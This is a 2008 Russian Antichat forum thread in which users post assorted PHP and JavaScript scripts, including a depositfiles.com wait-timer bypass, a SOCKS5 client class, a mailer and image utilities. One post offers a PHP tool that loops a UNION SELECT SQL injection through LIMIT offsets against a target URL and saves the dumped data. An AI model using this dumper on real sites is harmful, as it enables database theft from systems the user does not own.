Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
Скрипт depositfiles.com !!!!! |

08.08.2008, 23:10
|
|
Познающий
Регистрация: 05.03.2008
Сообщений: 31
Провел на форуме: 442871
Репутация:
15
|
|
Скрипт depositfiles.com !!!!!
И так, вот скрипт для того чтобы вы не ждали 100сек., а сразу скачивали файл с depositfiles.com
Создаём файл depositfiles_com.js в папке Opera ( с другими не пробывал).
Пиши в depositfiles_com.js
PHP код:
// ==UserScript==
// @name DepositFiles.com helper for Opera 8 - 9
// @version 1.10
// @date 2009-09-09
// @author
// @download http://www.puzzleclub.ru/files/depositfiles_com.js
// @include http://depositfiles.com/files/*
// @include http://depositfiles.com/*/files/*
// ==/UserScript==
(function(){
// For those who have the "Cached Images" mode.
var autoReloadCaptchaImage = false;
var bPlaySound = true;
var soundSource = 'data:audio/midi;base64,TVRoZAAAAAYAAQACAPBNVHJrAAAAGwD/WAQEAhgIAP9RAwknwI8A/1EDB6EgAP8vAE1UcmsAAAAtAP8DBVN0YWZmAMANVpBNfx5IfyGATQAOSACBDpBNfxlIfx6ATQAOSAAA/y8A';
// Repetition interval in milliseconds. 0 - disable repetition.
var soundRepetitionInterval = 60000; // 1 minute;
var soundTimerId = '';
window.opera.addEventListener('BeforeScript', function(e){
if(e.element.text && e.element.text.indexOf('window.open(enter_popup_url') != -1)
e.preventDefault();
}, false);
var refreshPage = function()
{
window.history.go(0);
};
function playSound()
{
var f = document.createElement('IFRAME');
f.src = soundSource;
f.width = 0;
f.height = 0;
f.frameBorder = 'no';
f.scrolling = 'no';
document.documentElement.appendChild(f);
var i = 0;
var soundLoop = function()
{
var s = soundSource + '#' + i;
f.setAttribute('src', s, false);
i++;
};
if(soundRepetitionInterval > 0)
soundTimerId = setInterval(soundLoop, soundRepetitionInterval);
};
var restoreImage = function(img){};
if(typeof(opera.version) == 'function' && opera.version() >= 9.10)
{
var restoreImage = function(img)
{
if(!img)
return;
var refreshImg = function(i, d)
{
i.style.display = d;
};
if(img.currentStyle.display != 'none')
{
var display = img.currentStyle.display;
img.style.display = 'none';
setTimeout(refreshImg, 10, img, display);
}
};
}
var reloadImage = function(img)
{
var f = document.createElement('iframe');
f.src = img.src;
f.width = 0;
f.height = 0;
f.frameBorder = 'no';
f.scrolling = 'no';
f.onload = function(){
this.parentNode.removeChild(this);
restoreImage(img);
};
document.documentElement.appendChild(f);
};
var onReady = function()
{
document.title = 'DF: ready';
if(bPlaySound)
playSound();
var btn = document.getElementById('dwn_link');
if(btn)
{
//var timer = soundTimerId;
btn.onMouseUp = clearInterval(soundTimerId);
}
};
var onLoad = function()
{
window.is_popup_showed = true;
var f = document.getElementById('gateway_form');
if(f)
{
f.submit();
window.close();
}
else if(document.getElementById('download_url'))
{
var d = document.getElementById('download_url');
if(d)
d.style.display = '';
d = document.getElementById('img_code_block');
if(d)
d.style.display = '';
if(autoReloadCaptchaImage)
{
var img = d.getElementsByTagName('img');
if(img && img.length > 0 && !img[0].complete && img[0].src)
reloadImage(img[0]);
}
var time = 0;
var showTime = function()
{
var d = document.getElementById('instead_img_code_block');
if(d && d.style.display != 'none')
{
onReady();
return;
}
var e = document.getElementById('download_waiter_remain');
if(e)
{
var t = e.innerText;
if(t)
{
t = parseFloat(t);
if(!isNaN(t))
{
t = t.toFixed(0);
if(t != time)
{
time = t;
if(time <= 0)
{
onReady();
return;
}
else
document.title = 'DF: ' + t;
}
}
}
}
setTimeout(showTime, 100);
}
setTimeout(showTime, 100);
}
else
{
var d = document.getElementById('download_file_info_block');
if(d && d.innerText.search('From yours IP addresses already') != -1)
{
setTimeout(refreshPage, 60000);
return;
}
}
};
if(typeof(opera.version) == 'function' && opera.version() >= 9)
document.addEventListener('DOMContentLoaded', onLoad, false);
else
document.addEventListener('load', onLoad, false);
})();
Последний раз редактировалось .:EnoT:.; 08.08.2008 в 23:23..
Причина: Выпрашивание репы!
|
|
|

15.08.2008, 06:13
|
|
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме: 16641028
Репутация:
2371
|
|
Опять меня кинули сцуке на скриптенк
Скрипт для руссбилинга + процент соотношения имен
PHP код:
<?php
error_reporting(0);
$smsid = isset($_GET['smsid']) ? $_GET['smsid'] : '' ;
$num = isset($_GET['num']) ? $_GET['num'] : '' ;
$operator = isset($_GET['operator']) ? $_GET['operator'] : '' ;
$userid = isset($_GET['user_id']) ? $_GET['user_id'] : '' ;
$cost = isset($_GET['cost']) ? $_GET['cost'] : '' ;
$msg = isset($_GET['msg']) ? $_GET['msg'] : '' ;
$msg = str_replace("+", '', $msg);
list($function, $love, $name, $name2) = explode(" ", $msg);
if($msg)
{
if($num == '3649' || $num == '1121')
{
$name = strtoupper($name);
$name2 = strtoupper($name2);
$count = '0';
$amount = '0';
for ($i = 0; $i < strlen($name); $i++)
{
$letter = $name{$i};
if ($letter == 'В') $count +=6;
if ($letter == 'А') $count +=3;
if ($letter == 'И') $count +=3;
if ($letter == 'С') $count +=3;
if ($letter == 'Е') $count +=4;
if ($letter == 'К') $count +=6;
if ($letter == 'Н') $count +=4;
if ($letter == 'У') $count +=6;
if ($letter == 'Ц') $count +=4;
if ($letter == 'Ь') $count +=6;
if ($letter == 'Я') $count +=4;
if ($letter == 'C') $count +=6;
if ($letter == 'L') $count +=4;
if ($letter == 'U') $count +=6;
if ($letter == 'F') $count +=4;
if ($letter == 'O') $count +=6;
if ($letter == 'X') $count +=4;
if ($letter == 'A') $count +=3;
if ($letter == 'J') $count +=3;
if ($letter == 'S') $count +=3;
}
for ($i = 0; $i < strlen($name2); $i++)
{
$letter2 = $name2{$i};
if ($letter2 == 'В') $count +=6;
if ($letter2 == 'А') $count +=3;
if ($letter2 == 'И') $count +=3;
if ($letter2 == 'С') $count +=3;
if ($letter2 == 'Е') $count +=4;
if ($letter2 == 'К') $count +=6;
if ($letter2 == 'Н') $count +=4;
if ($letter2 == 'У') $count +=6;
if ($letter2 == 'Ц') $count +=4;
if ($letter2 == 'Ь') $count +=6;
if ($letter2 == 'Я') $count +=4;
if ($letter2 == 'C') $count +=6;
if ($letter2 == 'L') $count +=4;
if ($letter2 == 'U') $count +=6;
if ($letter2 == 'F') $count +=4;
if ($letter2 == 'O') $count +=6;
if ($letter2 == 'X') $count +=4;
if ($letter2 == 'A') $count +=3;
if ($letter2 == 'J') $count +=3;
if ($letter2 == 'S') $count +=3;
}
if ($count > 0) $amount = 5-((strlen($name) + strlen($name2)) / 2);
if ($count > 2) $amount = 10-((strlen($name) + strlen($name2)) / 2);
if ($count > 4) $amount = 15-((strlen($name) + strlen($name2)) / 2);
if ($count > 6) $amount = 20-((strlen($name) + strlen($name2)) / 2);
if ($count > 8) $amount = 25-((strlen($name) + strlen($name2)) / 2);
if ($count > 10) $amount = 30-((strlen($name) + strlen($name2)) / 2);
if ($count > 12) $amount = 40-((strlen($name) + strlen($name2)) / 2);
if ($count > 14) $amount = 50-((strlen($name) + strlen($name2)) / 2);
if ($count > 15) $amount = 60-((strlen($name) + strlen($name2)) / 2);
if ($count > 16) $amount = 65-((strlen($name) + strlen($name2)) / 2);
if ($count > 17) $amount = 70-((strlen($name) + strlen($name2)) / 2);
if ($count > 18) $amount = 75-((strlen($name) + strlen($name2)) / 2);
if ($count > 19) $amount = 80-((strlen($name) + strlen($name2)) / 2);
if ($count > 20) $amount = 85-((strlen($name) + strlen($name2)) / 2);
if ($count > 22) $amount = 90-((strlen($name) + strlen($name2)) / 2);
if ($count > 24) $amount = 95-((strlen($name) + strlen($name2)) / 2);
if ($count > 28) $amount = 100-((strlen($name) + strlen($name2)) / 2);
if ($count > 32) $amount = 105-((strlen($name) + strlen($name2)) / 2);
if ($count > 40) $amount = 110-((strlen($name) + strlen($name2)) / 2);
if ($amount < 0) $amount = 0;
if ($amount >100) $amount = 100;
$message = 'Процент соотношения имен '.$name.' + '.$name2.' = ' .$amount. '%';
}
else
{
$message = "Вы ошиблись номером при отправке смс";
}
echo "smsid:".$smsid."\n";
echo "status:reply\n";
echo "content-type:text/plan\n";
echo "\n";
echo $message."\n";
}
?>
|
|
|

16.08.2008, 16:22
|
|
Участник форума
Регистрация: 19.02.2008
Сообщений: 186
Провел на форуме: 584540
Репутация:
96
|
|
by $p01nt :)
Программа парсит ссылки с search.icq.com и пишет их в файл
Скачать
Кому пригодилась - не забудте про плюсик ))
|
|
|

18.08.2008, 00:16
|
|
Reservists Of Antichat - Level 6
Регистрация: 23.05.2008
Сообщений: 756
Провел на форуме: 9257858
Репутация:
979
|
|
Скрипт PHP для отправки писем со вложениями
Код:
<?php
define("LIBR", "\r\n"); // use a "\n" if you have problems
class attach_mailer {
var $from_name;
var $from_mail;
var $mail_to;
var $mail_cc;
var $mail_bcc;
var $mail_headers;
var $mail_subject;
var $mail_body = "";
var $valid_mail_adresses; // boolean is true if all mail(to) adresses are valid
var $uid; // the unique value for the mail boundry
var $mail_priority = 3; // 3 = normal, 2 = high, 4 = low
var $att_files = array();
var $msg = array();
// functions inside this constructor
// - validation of e-mail adresses
// - setting mail variables
// - setting boolean $valid_mail_adresses
function attach_mailer($name = "", $from, $to, $cc = "", $bcc = "", $subject = "", $body = "") {
$this->valid_mail_adresses = true;
if (!$this->check_mail_address($to)) {
$this->msg[] = "Error, the \"mailto\" address is empty or not valid.";
$this->valid_mail_adresses = false;
}
if (!$this->check_mail_address($from)) {
$this->msg[] = "Error, the \"from\" address is empty or not valid.";
$this->valid_mail_adresses = false;
}
if ($cc != "") {
if (!$this->check_mail_address($cc)) {
$this->msg[] = "Error, the \"Cc\" address is not valid.";
$this->valid_mail_adresses = false;
}
}
if ($bcc != "") {
if (!$this->check_mail_address($bcc)) {
$this->msg[] = "Error, the \"Bcc\" address is not valid.";
$this->valid_mail_adresses = false;
}
}
if ($this->valid_mail_adresses) {
$this->from_name = $this->strip_line_breaks($name);
$this->from_mail = $this->strip_line_breaks($from);
$this->mail_to = $this->strip_line_breaks($to);
$this->mail_cc = $this->strip_line_breaks($cc);
$this->mail_bcc = $this->strip_line_breaks($bcc);
$this->mail_subject = $this->strip_line_breaks($subject);
$this->create_mime_boundry();
$this->mail_body = $this->create_msg_body($body);
$this->mail_headers = $this->create_mail_headers();
} else {
return;
}
}
function get_msg_str() {
$messages = "";
foreach($this->msg as $val) {
$messages .= $val."<br>\n";
}
return $messages;
}
// use this to prent formmail spamming
function strip_line_breaks($val) {
$val = preg_replace("/([\r\n])/", "", $val);
return $val;
}
function check_mail_address($mail_address) {
$pattern = "/^[\w-]+(\.[\w-]+)*@([0-9a-z][0-9a-z-]*[0-9a-z]\.)+([a-z]{2,4})$/i";
if (preg_match($pattern, $mail_address)) {
if (function_exists("checkdnsrr")) {
$parts = explode("@", $mail_address);
if (checkdnsrr($parts[1], "MX")){
return true;
} else {
return false;
}
} else {
// on windows hosts is only a limited e-mail address validation possible
return true;
}
} else {
return false;
}
}
function create_mime_boundry() {
$this->uid = "_".md5(uniqid(time()));
}
function get_file_data($filepath) {
if (file_exists($filepath)) {
if (!$str = file_get_contents($filepath)) {
$this->msg[] = "Error while opening attachment \"".basename($filepath)."\"";
} else {
return $str;
}
} else {
$this->msg[] = "Error, the file \"".basename($filepath)."\" does not exist.";
return;
}
}
// remember "LIBR" is the line break defined in constact above
function create_msg_body($mail_msg, $cont_tranf_enc = "7bit", $type = "text/plain", $enc = "iso-8859-1") {
$str = "--".$this->uid.LIBR;
$str .= "Content-type:".$type."; charset=".$enc.LIBR;
$str .= "Content-Transfer-Encoding: ".$cont_tranf_enc.LIBR.LIBR;
$str .= trim($mail_msg).LIBR.LIBR;
return $str;
}
function create_mail_headers() {
if ($this->from_name != "") {
$headers = "From: ".$this->from_name." <".$this->from_mail.">".LIBR;
$headers .= "Reply-To: ".$this->from_name." <".$this->from_mail.">".LIBR;
} else {
$headers = "From: ".$this->from_mail.LIBR;
$headers .= "Reply-To: ".$this->from_mail.LIBR;
}
if ($this->mail_cc != "") $headers .= "Cc: ".$this->mail_cc.LIBR;
if ($this->mail_bcc != "") $headers .= "Bcc: ".$this->mail_bcc.LIBR;
$headers .= "MIME-Version: 1.0".LIBR;
$headers .= "X-Mailer: Attachment Mailer ver. 1.0".LIBR;
$headers .= "X-Priority: ".$this->mail_priority.LIBR;
$headers .= "Content-Type: multipart/mixed;".LIBR.chr(9)." boundary=\"".$this->uid."\"".LIBR.LIBR;
$headers .= "This is a multi-part message in MIME format.".LIBR.LIBR;
return $headers;
}
// use for $dispo "attachment" or "inline" (f.e. example images inside a html mail
function create_attachment_part($file, $dispo = "attachment") {
if (!$this->valid_mail_adresses) return;
$file_str = $this->get_file_data($file);
if ($file_str == "") {
return;
} else {
$filename = basename($file);
$file_type = mime_content_type($file);
$chunks = chunk_split(base64_encode($file_str));
$mail_part = "--".$this->uid.LIBR;
$mail_part .= "Content-type:".$file_type.";".LIBR.chr(9)." name=\"".$filename."\"".LIBR;
$mail_part .= "Content-Transfer-Encoding: base64".LIBR;
$mail_part .= "Content-Disposition: ".$dispo.";".chr(9)."filename=\"".$filename."\"".LIBR.LIBR;
$mail_part .= $chunks;
$mail_part .= LIBR.LIBR;
$this->att_files[] = $mail_part;
}
}
function process_mail() {
if (!$this->valid_mail_adresses) return;
$mail_message = $this->mail_body;
if (count($this->att_files) > 0) {
foreach ($this->att_files as $val) {
$mail_message .= $val;
}
$mail_message .= "--".$this->uid."--";
}
if (mail($this->mail_to, $this->mail_subject, $mail_message, $this->mail_headers)) {
$this->msg[] = "Your mail is succesfully submitted.";
} else {
$this->msg[] = "Error while sending you mail.";
}
}
}
?>
|
|
|

18.08.2008, 15:37
|
|
Reservists Of Antichat - Level 6
Регистрация: 23.05.2008
Сообщений: 756
Провел на форуме: 9257858
Репутация:
979
|
|
Код:
<?
set_time_limit(0);
$limit=100;
for ($i = 1; $i <= $limit; $i++)
{
$fp = fopen ("$i.txt", "w");
fclose($fp);
}
?>
создаёт пустые файлы
|
|
|

18.08.2008, 16:07
|
|
Постоянный
Регистрация: 29.05.2007
Сообщений: 852
Провел на форуме: 4832771
Репутация:
1916
|
|
Была необходимость написать скрипт, который выводит email на картинке + создаёт эту картинку с учётом длины мейла.
Что-то типа простой защиты от сборщиков емейлов).
PHP код:
function protectmail($email){
for($i=0,$w=0; $i < strlen($email); $i++,$w+=15){
$arr[$i] = substr($email, $i, 1);
$width = $w;
}
$img = imagecreate($width, 20);
imagecolorallocate($img, mt_rand(230,255), mt_rand(230,255), mt_rand(230,255));
$color = imagecolorallocate ($img, '', '', '');
for($i=0,$a=0; $i < strlen($email); $i++){
$string = imagecolorallocate($img, rand(0,250), rand(0,250), rand(0,250));
imagestring($img, 3, $a+=mt_rand(8,15), mt_rand(0,5), $arr[$i], $string);
}
return imagegif($img);
}
PHP код:
header('Content-type: image/gif');
echo protectmail('admin@mail.ru');
|
|
|
Скрипт изменяет размер изображения |

21.08.2008, 10:26
|
|
Участник форума
Регистрация: 20.08.2008
Сообщений: 137
Провел на форуме: 2607957
Репутация:
184
|
|
Скрипт изменяет размер изображения
PHP код:
<?php
$w=160; //новая ширина
$h=120; //новая высота
$i='1.jpg';
$i='images/'.$i; //путь к изображению
$left=0; //задаём смещение слева
$top=0; //задаём смещение сверху
$size = getimagesize($i); // получаем информацию о исходном изображении
$sw=$size['0']; //исходная ширина
$sh=$size['1']; //исходная высота
$k1=$sw/$w; //коэффициент отношения ширины
$k2=$sh/$h; //коэффициент отношения высоты
$e=$w/$h; //коэффициент отношения новой ширины и высоты
$se=$sw/$sh; //коэффициент отношения исходной ширины и высоты
$m=$se/$e; //поправочный коэффициент
if($w>=$h)
{
$sh=$h*$k1;
if($e<$se)
{
$sw=$sw/$m;
$sh=$sh/$m;
$left=($size['0']-$sw)/2;
}
$top=($size['1']-$sh)/2;
}
else
{
$sw=$w*$k2;
if($e>$se)
{
$sw=$sw*$m;
$sh=$sh*$m;
$top=($size['1']-$sh)/2;
}
$left=($size['0']-$sw)/2;
}
$image = imagecreatetruecolor($w,$h); //создаём пустое новое изображение
$s = imagecreatefromjpeg($i); //считываем изображение из jpeg файла
imagecopyresampled ($image, $s, 0, 0, $left, $top, $w, $h, $sw, $sh); //изменяем размер изображения
header("Content-type: image/png");
imagepng($image);//выводим новое изображение в формате png
imagedestroy($image); //освобождаем память
imagedestroy($s); //освобождаем память
?>
Делал как-то галерею, нужно было как-то привести все изображения к одному размеру.
Преимущество этого скрипта в том, что он учитывает пропорцию исходного изображения. Картинки не искажаются при любых исходных и конечных размерах и размер изображения в итоге получается строго в заданных $w и $h. Кому не лень, поэксперементируйте. Все скрипты аналоги в нете, которые я нашёл работают немного подругому, не приводя размер изображения к заданному, игнорируя либо ширину либо высоту.
Пользуйтесь 
|
|
|

21.08.2008, 15:47
|
|
Участник форума
Регистрация: 14.01.2006
Сообщений: 242
Провел на форуме: 2630617
Репутация:
245
|
|
Brut_or_grabber_limit
//////////////////////////////////////
// Brut_or_grabber_limit
// Coder By M!cr0b aka HakNet v1.0
// icq: 532-415
// Whack Team
// www.forum.whack.ru
//////////////////////////////////////
Brut_or_grabber_limit
Даной скрипт перебирает инэкцию через лимит и сохраняет в файл "save.txt.gz".
Вобше ищо есть несколько функций.. но для етого вам придеса самим заюзать скрипт...
Так как скрипт написаной мной, ридми по используванию есть на украинском, переводом страдать я нехочу так что юзайте http://pereklad.online.ua
Скачать скрипт с ридми: http://webfile.ru/2175298
или сам скрип:
PHP код:
<?
//////////////////////////////////////
// Coder By M!cr0b aka HakNet v1.0 //
// icq: 532-415 //
// Whack Team //
// forum.whack.ru //
//////////////////////////////////////
?>
<html>
<META http-equiv=Content-Type content="text/html; charset=windows-1251">
<head><title></title>
<style>
body{
margin:200 150;
background: #666;
font: normal 13px Arial, Helvetica, sans-serif;
color: #666;
}
table,td{
border : 1px dashed #444444;
background-color : #F4F4F4;
font : 12px courier new;
color : #888888;
}
input,select{
background-color: #000000;
font:8pt verdana;
text-align:left;
color: #669666;
}
</style>
<body>
<table>
<tr>
<td>
<form method="post">
1. <a href="readme.txt">ReadMe</a><br>
2. Count: <input type="type" name="count" size="5"><input type='checkbox' onChange="if(this.checked){document.all.start.disabled=false;}else{document.all.start.disabled=true;}">yes<br>
3. Url: <input type="type" name="url" value="http://coder/mysqltools/testing_injection/index.php?i=-1+union+select+1,concat(0x2b7c,categor,0x7c2b),3,4+from+categors" size="135">
<select name="Z">
<option value="">null</option>
<option selected value="/*">/*</option>
<option value="--">--</option>
</select>
<center><input type="submit" name="start" disabled="disabled" value="Старт" style="cursor:pointer">
</form>
<br><br>
<form method="POST">
<input type="submit" name="musor" value="Очистка" style="cursor:pointer"></center>
</form>
</td>
</tr>
<tr>
<td>
<?php
system('tar -cvf save.txt.tar Z:\home\coder\www\mysqltools\Brut_or_grabber_limit');
if($_POST['start']){
$count=$_POST['count'];
$url=$_POST['url'];
$Z=$_POST['Z'];
$fp=gzopen("save.txt.tar", "w9");
for($i=0;$i<$count;$i++){ // скільіки разів повторювати цикл вибірки
$input=@file_get_contents("".$url."+LIMIT+".$i.",1".$Z."");
gzwrite ($fp, $input);
}
gzclose ($fp);
echo "<font color='#669666'><center>Для очищення спочтку розпакуйте файл <b>save.txt.gz</b></center></font>";
}
if($_POST['musor']){
$input=@file_get_contents("save.txt");
$oprede = "+|";
$oprede2 = "|+";
preg_match_all('|'.preg_quote($oprede, '/').'.*'.preg_quote($oprede2, '/').'|s',$input,$out);
$sd = explode($oprede2,$out[0][0]);
$cnt = count($sd);
$zapis=fopen("good.txt", "a+");
for ($i=0;$i<$cnt-1;$i++) {
preg_match_all('|'.preg_quote($oprede, '/').'.*|s',$sd[$i],$out1);
$str = str_replace($oprede,"",$out1[0][0]);
fwrite($zapis, $str."\n");
}
fclose ($zapis);
echo "<font color='#669666'><center>Очищено вдало. Перевірити: <a href='good.txt'><b>good.txt</b></a></center</font>";
}
?>
</body>
</td>
</tr>
</table>
Последний раз редактировалось Micr0b; 21.08.2008 в 15:55..
|
|
|

25.08.2008, 16:20
|
|
Постоянный
Регистрация: 11.11.2006
Сообщений: 834
Провел на форуме: 3941248
Репутация:
668
|
|
Работ через соксы
Работ через socks
PHP код:
<?
/**
* Class for work using SOCKS5 protocol.
* Copyright by Elw00d
* В данный момент поддерживаются лишь исходящие TCP-соединения с socks5-сервером, не требующим авторизации
*/
class socks5
{
var $ip;
var $port;
var $socket;
var $socket_timeout;
var $connected; // есть ли установленное соединение ЧЕРЕЗ сокс с удаленным хостом
// конструктор — инициализирует переменные класса, но никуда не подключается
function socks5($ip, $port, $timeout = 3000)
{
$this->socket = 0;
$this->socket_timeout = $timeout;
$this->ip = $ip;
$this->port = $port;
$this->connected = false;
return true;
}
// подключение к сокс-серверу (только socks5)
// авторизация user/pass не поддерживается
// timeout — в миллисекундах
// возвращает true/false в зависимости от успеха операции
function socks5_init()
{
if ($this->socket = @pfsockopen($this->ip, $this->port, $errno, $errstr, $this->
socket_timeout / 1000)) {
fwrite($this->socket, pack("C3", 0x05, 0x01, 0x00));
$answer = "";
stream_set_timeout($this->socket, 0, $this->socket_timeout);
do {
$buf = @fread($this->socket, 1024);
$socket_status = stream_get_meta_data($this->socket);
if ($buf && !$socket_status['timed_out'])
$answer .= $buf;
if ($socket_status['eof']) {
$this->socket = 0;
return false; // сервер закрыл коннект
}
} while (strlen($answer) < 2);
$response = @unpack("Cver/Cmethod", $answer);
if ($response["ver"] == 0x05 and $response["method"] == 0x00)
return true;
fclose($this->socket);
$this->socket = 0;
}
return false;
}
// установка TCP-соединения с хостом через сокс-сервер
// после успешного соединения флаг $this->connected устанавливается в true
// возвращает true/false
function socks5_connect($host, $port)
{
if ($this->socket) {
if (ip2long($host) == -1)
fwrite($this->socket, pack("C5", 0x05, 0x01, 0x00, 0x03, strlen($host)) . $host .
pack("n", $port));
else
fwrite($this->socket, pack("C4Nn", 0x05, 0x01, 0x00, 0x01, ip2long(gethostbyname
($host)), $port));
$answer = "";
do {
$buf = @fread($this->socket, 1024);
$socket_status = stream_get_meta_data($this->socket);
if ($buf && !$socket_status['timed_out'])
$answer .= $buf;
if ($socket_status['eof']) {
$this->socket = 0;
return false; // сервер закрыл коннект
}
} while (strlen($answer) < 4);
$response = @unpack("Cversion/Cresult/Creg/Ctype/Lip/Sport", $answer);
if ($response["version"] == 0x05 and $response["result"] == 0x00) {
$this->connected = true;
return true;
}
}
return false;
}
// позволяет получить дескриптор сокета соединения с сокс-сервером
// после того, как соединение через сокс установлено, можно напрямую отправлять/принимать данные из этого сокета,
// общаясь таким образом с удаленным хостом. Все выглядит так, как будто сокет соединен напрямую с целевым хостом.
// Совет: пользоваться этой функцией с осторожностью, не вызывать напрямую fclose(), юзать метод socks5_closeconnection()
// Вопрос: зачем эта функция, если она нарушает инкапсуляцию класса?
// Ответ: да, это пренебрежение к канонам ООП, но зато делает удобной доработку существующих скриптов в сторону
// соксификации. Вместо того, чтобы отлаживать ещё один слой ввода-вывода, легче дописать к скрипту процедурку
// инициализации соединения через сокс + добавочную обработку ошибок (специально для соксов), а потом просто получать
// дескриптор сокета и не трогать исходные вызовы fread(), fwrite() или stream_set_timeout(). Если же необходимо
// закрыть соединение, достаточно просто вместо fclose() вызвать socks5_closeconnection(). В том случае, если сокс
// отваливается по таймауту, вообще не надо ничего менять, и разрыв коннекта интерпретируется скриптом по-старому.
function socks5_getsocket()
{
return $this->socket;
}
function socks5_closeconnection()
{
//if ($this->socket)
@fclose($this->socket);
$this->connected = false;
$this->socket = 0;
}
}
?>
Использование
PHP код:
<?php
set_time_limit(0);
include("socks.class.php");
$server_name = "whatismyip.com";
$server_port = 80;
$socks = new socks5("127.0.0.1", 33142);
$socks->socks5_init();
if ($socks->socks5_connect($server_name, $server_port)) {
// формируем запрос ,который будет отправлен, через сокс, серверу
$head = "GET / HTTP/1.0\r\n";
$head .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.52\r\n";
$head .= "Host: www.whatismyip.com\r\n";
$head .= "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
$head .= "Accept-Language: ru,en;q=0.9\r\n";
$head .= "Accept-Charset: windows-1252, utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1\r\n";
$head .= "Proxy-Connection: close\r\n\r\n";
fwrite($socks->socks5_getsocket(),$head);
// считываем ответ HTTP-сервера через SOCKS-сервер до конца =)
while(!feof($socks->socks5_getsocket()))
{
$l=fread($socks->socks5_getsocket(),1024);
echo $l;
}
}
?>
Последний раз редактировалось Doom123; 25.08.2008 в 16:21..
Причина: Заголовок
|
|
|

26.08.2008, 16:41
|
|
Познавший АНТИЧАТ
Регистрация: 30.04.2007
Сообщений: 1,206
Провел на форуме: 4778940
Репутация:
1257
|
|
Функция получения страницы через сокеты.
Параметры:
$site - адрес сайта без http .обязательный параметр.
$page - адрес страницы сайта .обязательный параметр.
$isheaders=false - получать ли заголовки. по умолчанию выкл.
$ua='Opera 9.27 (compatible; MSIE 6.0; Windows NT 5.1; ru)' - браузер
$ref='' - реферрер
$cookie='' - печеньки
$post='' - пост данные
PHP код:
function get_page($site,$page,$isheaders=false,$ua='Opera 9.27 (compatible; MSIE 6.0; Windows NT 5.1; ru)',$ref='',$cookie='',$post='')
{
$page=trim($page);
$site=trim($site);
$socket = fsockopen($site, 80, $errno, $errstr, 15);
if ($socket){
if ($post!=''){
$send = "POST $page HTTP/1.0\r\n";
$send .= "Content-Length: ". strlen($post) ."\r\n";
$send .= "Content-Type: application/x-www-form-urlencoded; charset=utf-8\r\n";
} else $send = "GET $page HTTP/1.0\r\n";
$send .= "User-Agent: $ua\r\n";
$send .= "Host: $site\r\n";
$send .= "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
if($ref!='') $send .= "Referer: $ref\r\n";
if($cookie!=''){
$send .= "Cookie: $cookie\r\n";
$send .= 'Cookie2: $Version=1'."\r\n";
}
$send .= "Accept-Language: ru,en;q=0.9,ru-RU;q=0.8\r\n";
$send .= "Connection: close\r\n\r\n".$post;
if(fputs($socket,$send)) {
if(!$isheaders) while(fgets($socket,1024)!="\r\n" && !feof($socket));
$he="";
while(!feof($socket)) $he.=fread($socket,10240);
};
fclose($socket);
}
return $he;
};
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|